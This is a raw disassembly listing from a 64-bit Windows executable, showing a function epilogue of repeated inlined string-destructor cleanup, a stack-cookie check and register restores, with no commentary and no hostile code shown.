mov qword [rbp + 0x198], rbx
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x188], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x14000d65a
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d655
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d655
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x88], 0
test r12b, r12b
je 0x14000d6b3
mov rdx, qword [rbp + 0x160]
inc rdx
mov rax, r13
cmp rdx, 0x1000
jb 0x14000d6aa
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d6aa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x480]
cmp rdx, 0x10
jb 0x14000d6f8
inc rdx
mov rcx, qword [rbp + 0x468]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d6f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d6f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x420]
cmp rdx, 0x10
jb 0x14000d73d
inc rdx
mov rcx, qword [rbp + 0x408]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d737
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d737
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x440]
cmp rdx, 0x10
jb 0x14000d782
inc rdx
mov rcx, qword [rbp + 0x428]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d77c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d77c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x240]
cmp rdx, 0x10
jb 0x14000d7c6
inc rdx
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d7c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d7c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x238], rbx
mov qword [rbp + 0x240], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x228], 0
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0x10
jb 0x14000d823
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d81e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d81e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x1b8], rbx
mov qword [rbp + 0x1c0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1a8], 0
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0x10
jb 0x14000d880
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d87b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d87b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x1d8], rbx
mov qword [rbp + 0x1e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c8], 0
mov rdx, qword [rbp + 0x180]
cmp rdx, 0x10
jb 0x14000d8dd
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d8d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d8d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x178], rbx
mov qword [rbp + 0x180], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x168], 0
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x14000d93a
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d935
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d935
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x1f8], rbx
mov qword [rbp + 0x200], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1e8], 0
mov rdx, qword [rbp + 0x460]
cmp rdx, 0x10
jb 0x14000d998
inc rdx
mov rcx, qword [rbp + 0x448]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d992
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d992
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x220]
cmp rdx, 0x10
jb 0x14000d9dc
inc rdx
mov rcx, qword [rbp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d9d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d9d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x218], rbx
mov qword [rbp + 0x220], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x208], 0
cmp byte [rsp + 0x65], 0
je 0x14000da3b
mov rdx, qword [rbp + 0x2a0]
inc rdx
mov rcx, qword [rbp + 0x288]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000da35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000da35
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
cmp byte [rsp + 0x66], 0
je 0x14000da81
mov rdx, qword [rbp + 0x260]
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000da7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000da7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
cmp byte [rsp + 0x67], 0
je 0x14000dac7
mov rdx, qword [rbp + 0x280]
inc rdx
mov rcx, qword [rbp + 0x268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dac1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dac1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
nop
mov rdx, qword [rbp + 0x3a0]
cmp rdx, 0x10
jb 0x14000db0b
inc rdx
mov rcx, qword [rbp + 0x388]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000db06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000db06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x398], rbx
mov qword [rbp + 0x3a0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x388], 0
mov rdx, qword [rbp + 0x3c0]
cmp rdx, 0x10
jb 0x14000db68
inc rdx
mov rcx, qword [rbp + 0x3a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000db63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000db63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x3b8], rbx
mov qword [rbp + 0x3c0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3a8], 0
mov rdx, qword [rbp + 0x3e0]
cmp rdx, 0x10
jb 0x14000dbc5
inc rdx
mov rcx, qword [rbp + 0x3c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dbc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dbc0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov qword [rbp + 0x3d8], rbx
mov qword [rbp + 0x3e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3c8], 0
mov rdx, qword [rbp + 0x4a0]
cmp rdx, 0x10
jb 0x14000dc22
inc rdx
mov rcx, qword [rbp + 0x488]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dc1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dc1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074d8c
mov rcx, qword [rbp + 0x4b0]
xor rcx, rsp
call fcn.140074d30
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400018d0
nop
call fcn.140001980
int3
call fcn.1400018d0
nop
call fcn.1400018d0
nop
call fcn.1400018d0
nop
call fcn.1400018d0
nop
call fcn.1400018d0
nop
call fcn.1400018d0
nop
call fcn.1400018d0
nop
call fcn.140001980
int3
call fcn.1400018d0
nop
call fcn.140001980
int3
call fcn.1400018d0
int3
call fcn.140001980
int3